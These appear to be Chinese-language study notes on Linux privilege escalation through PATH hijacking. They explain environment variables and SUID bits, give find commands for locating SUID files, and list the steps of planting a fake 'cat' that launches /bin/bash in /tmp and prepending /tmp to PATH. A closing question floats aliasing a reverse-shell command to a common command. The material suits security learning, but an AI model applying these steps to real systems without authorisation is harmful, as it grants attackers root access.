前言
今天主要讲了一个环境变量提权
先是讲了一下什么是环境变量和局部变量,然后特殊权限位,几个查找的特殊权限位的命令。
一点点shell编程--一个列表遍历循环。
提权思路
找存在suid位的文件,这里的案例是有用cat这个外部命令的带suid位的文件,先找到这个文件,然后判断使用了cat命令,然后写一个shell到/tmp/cat目录下,然后把/tmp/cat加入到环境变量前面,再执行这个文件,从而实现提权
环境变量提权
前提条件
1.存在suid的文件
2.这个文件执行了一些shell命令,而且要能够判断具体的命令
环境变量
环境变量是什么
一些使用案例
a=10 #设置局部变量a,其值为10
export a #将局部变量设为环境变量
env | grep a #查看环境变量,并过滤出a的相关部分
unset a #取消变量a,不管是环境还是局部
重要的环境变量----$PATH
关于PATH相关,提示:注意大小写
echo $PATH # 查看环境变量,这个环境变量用于查找执行外部命令时的查找路径
type ls # 判断命令是不是外部命令,只有外部命令才会去查找
PATH=$PATH:/tmp # 将/tmp目录放到查找路径的后面,命令的执行根据PATH的先后来决定
写入cat
echo “/bin/bash” > /tmp/cat
chmod 777 /trmp/cat
PATH=/tmp:$PATH # 这里注意要是这个目录,一定要注意
cat 1.txt #随便执行都可以,如果有suid是root的就提权了
查找suid位的文件
用find命令
find / -user root -perm -4000 2>/dev/null -exec ls -l {} \; -4000表示包含suid的文件
find / -user root -perm -2000 2>/dev/null -exec ls -l {} \;
find / -user root -perm -o=t -type d 2>/dev/null -exec ls -l {} \; 粘连位都是设置到目录的
用循环的shell脚本
for i in `loacte -r "bin$"`;do find $i -perm -u=s -o -perm -g=s -type f 2>/dev/null;done
注意的点:1. ``和$() 反引号和括号中的命令会优先执行
2 -r 表示使用正则表达式3.locate命令
补充
一些命令的存储文件
在别名文件或者在命令行里面设置别名
alias 别名=“要执行的名”
alias ipconfig="ifconfig ech0"
unalias ipconfig # 取消别名
留个问题:把反弹shell的命令取个常用命令的别名会怎么样?